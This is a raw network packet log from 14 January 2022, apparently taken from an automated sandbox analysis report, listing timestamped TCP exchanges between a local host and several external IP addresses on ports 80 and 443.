Jan 14, 2022 01:51:57.432075024 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432111979 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432132959 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432151079 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432189941 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432208061 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432229042 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432267904 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432285070 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432306051 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432344913 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432360888 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432383060 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432421923 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432439089 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432460070 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432481050 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432498932 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432522058 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432538033 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432576895 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432612896 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432616949 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432651997 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432668924 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.432689905 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.432740927 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.461188078 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504038095 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504081011 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504120111 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504146099 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504173040 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504214048 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504230976 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504256010 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504292965 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504311085 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504333019 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504371881 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504391909 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504410028 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504450083 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504466057 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504488945 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504527092 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504543066 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504569054 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504606009 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504620075 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504645109 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504683018 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504695892 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504720926 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504759073 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504771948 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504796982 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504834890 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504848957 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504873991 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504910946 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504924059 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.504949093 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.504987955 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505002022 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.505023956 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505063057 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505072117 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.505103111 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505141020 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505151033 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.505182028 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505218029 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505230904 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.505256891 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505294085 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505306959 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.505323887 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:57.505373001 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:57.506767035 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:58.943325043 CET	49879	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:58.993999958 CET	80	49879	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:58.994113922 CET	49879	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:58.994211912 CET	49879	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:58.994558096 CET	49879	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.044858932 CET	80	49879	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.045183897 CET	80	49879	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.077433109 CET	80	49879	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.077529907 CET	49879	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.077744007 CET	49879	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.112869978 CET	49880	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.128369093 CET	80	49879	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.164701939 CET	80	49880	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.164807081 CET	49880	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.164885998 CET	49880	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.164899111 CET	49880	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.216465950 CET	80	49880	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.246304035 CET	80	49880	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:59.246418953 CET	49880	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.246576071 CET	49880	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:59.298221111 CET	80	49880	93.189.42.167	192.168.2.3
Jan 14, 2022 01:52:02.719326973 CET	80	49741	54.38.220.85	192.168.2.3
Jan 14, 2022 01:52:02.719531059 CET	49741	80	192.168.2.3	54.38.220.85
Jan 14, 2022 01:52:02.724066973 CET	49741	80	192.168.2.3	54.38.220.85
Jan 14, 2022 01:52:02.743103027 CET	80	49741	54.38.220.85	192.168.2.3
Jan 14, 2022 01:52:04.664484024 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.664539099 CET	443	49897	162.159.134.233	192.168.2.3
Jan 14, 2022 01:52:04.664666891 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.677022934 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.677053928 CET	443	49897	162.159.134.233	192.168.2.3
Jan 14, 2022 01:52:04.718873024 CET	443	49897	162.159.134.233	192.168.2.3
Jan 14, 2022 01:52:04.718981981 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.781768084 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.781790018 CET	443	49897	162.159.134.233	192.168.2.3
Jan 14, 2022 01:52:04.782021046 CET	443	49897	162.159.134.233	192.168.2.3
Jan 14, 2022 01:52:04.782088041 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.782222033 CET	49897	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:52:04.782234907 CET	443	49897	162.159.134.233	192.168.2.3
Jan 14, 2022 01:52:05.098800898 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.172375917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.172489882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.172898054 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.246747971 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247404099 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247446060 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247484922 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247522116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247562885 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247569084 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.247598886 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.247601986 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247642040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247657061 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.247683048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247720003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247729063 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.247760057 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.247808933 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321070910 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321131945 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321180105 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321219921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321258068 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321268082 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321296930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321300030 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321336985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321360111 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321372986 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321413994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321430922 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321451902 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321491957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321506023 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321532011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321568966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321587086 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321608067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321645975 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321662903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321683884 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321721077 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321760893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321787119 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.321799994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.321805000 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395045042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395092964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395133018 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395138979 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395174980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395211935 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395215034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395256996 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395288944 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395319939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395359039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395395994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395395994 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395412922 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395436049 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395473957 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395513058 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395528078 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395553112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395562887 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395591974 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395629883 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395648003 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395668030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395705938 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395745039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395759106 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395783901 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395823002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395836115 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395863056 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395878077 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.395900011 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395937920 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.395976067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396008968 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.396011114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396024942 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.396050930 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396090984 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396127939 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396155119 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.396167040 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396182060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.396203995 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396243095 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396281004 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396298885 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.396318913 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396333933 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.396358013 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396398067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.396431923 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.469774008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.469813108 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.469857931 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.469861984 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.469906092 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.469928980 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470096111 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470136881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470171928 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470172882 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470204115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470223904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470240116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470274925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470307112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470312119 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470344067 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470369101 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470475912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470510960 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470542908 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470568895 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470572948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470603943 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470607042 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470638037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470673084 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470689058 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470705032 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470722914 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470736980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470771074 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470802069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470819950 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470837116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470844984 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470870972 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470901966 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470917940 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.470935106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470968008 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.470999002 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471015930 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471033096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471045017 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471066952 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471098900 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471129894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471148014 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471162081 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471179962 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471196890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471230030 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471260071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471278906 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471292019 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471298933 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471324921 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471355915 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471388102 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471404076 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471420050 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471431017 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471452951 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471486092 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471503973 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.471515894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471549034 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.471565962 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.532927990 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545381069 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545423985 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545444965 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545469046 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545490980 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545514107 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545536041 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545557022 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545572996 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545578003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545589924 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545593977 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545595884 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545598984 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545603037 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545625925 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545648098 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545655012 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545672894 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545694113 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545695066 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545716047 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545737028 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545758009 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545761108 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545779943 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545789957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545803070 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545821905 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545825005 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545861006 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545874119 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545888901 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545912027 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545932055 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545933008 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.545953989 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545974970 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545994997 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.545996904 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546015978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546025991 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546037912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546056986 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546058893 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546082973 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546103954 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546113968 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:05.546124935 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546148062 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:05.546169043 CET	80	49901	141.8.194.74	192.168.2.3
